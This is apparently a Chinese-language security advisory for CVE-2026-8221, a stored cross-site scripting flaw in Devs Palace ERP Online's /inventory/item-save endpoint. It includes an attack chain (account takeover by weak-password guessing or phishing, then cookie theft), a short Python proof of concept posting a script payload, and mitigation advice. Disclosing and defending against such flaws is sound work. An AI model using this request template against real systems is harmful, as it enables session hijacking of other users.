IPBUF安全漏洞报告
English
CVE-2026-8221 CVSS 2.4 低危

CVE-2026-8221 Devs Palace ERP Online跨站脚本漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-8221
漏洞类型
跨站脚本攻击 (XSS)
CVSS评分
2.4 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
Devs Palace ERP Online

相关标签

XSS跨站脚本Devs Palace ERPWeb安全低危漏洞

漏洞概述

Devs Palace ERP Online 版本 4.0.0 及之前版本在 `/inventory/item-save` 文件中存在跨站脚本漏洞。由于系统未正确过滤用户输入,经过身份验证的攻击者可远程注入恶意脚本。该漏洞已被公开披露且厂商尚未修复,存在潜在安全风险。

技术细节

该漏洞源于 Deves Palace ERP Online 在处理库存项目保存请求(`/inventory/item-save`)时,未能对用户提交的数据进行严格的输入验证和输出编码。攻击者可以构造包含恶意 JavaScript 代码的数据包发送至该接口。尽管 CVSS 评分要求攻击者具有高权限(PR:H),这意味着攻击者通常需要登录账户,但一旦注入成功,当管理员或其他用户访问受影响的库存页面时,恶意脚本将在其浏览器上下文中执行。这可能导致会话令牌被窃取、账户被劫持或执行未授权操作。攻击向量为网络(AV:N),利用复杂度低(AC:L),且目前已有公开的利用代码。

攻击链分析

STEP 1
步骤1:权限获取
攻击者通过弱口令猜测或钓鱼等方式获取系统的高权限账户(CVSS PR:H)。
STEP 2
步骤2:漏洞利用
攻击者向 /inventory/item-save 接口发送特制的 POST 请求,在库存描述等字段中注入恶意 JavaScript 代码。
STEP 3
步骤3:触发攻击
当管理员或普通用户访问包含该恶意数据的库存列表页面时,浏览器解析并执行脚本,导致 Cookie 窃取或会话劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable endpoint target_url = "http://target-domain.com/inventory/item-save" # Attacker's session cookie (Required due to PR:H) cookies = { "PHPSESSID": "attacker_session_id", "user_token": "valid_token" } # Payload attempting to inject XSS via item description # Using a simple script tag to test execution payload_data = { "item_name": "Legitimate Item", "item_code": "12345", "description": "<script>alert('CVE-2026-8221 XSS');</script>", "price": "100.00" } try: # Send POST request to save the item with malicious payload response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the inventory list page to verify script execution.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Devs Palace ERP Online <= 4.0.0

防御指南

临时缓解措施
在厂商发布补丁前,建议管理员严格限制后台管理系统的访问权限,仅允许可信的内网 IP 访问。同时,对库存模块的数据输入进行手动审查,过滤掉包含 `<script>`, `onerror`, `onload` 等敏感字符的内容。

参考链接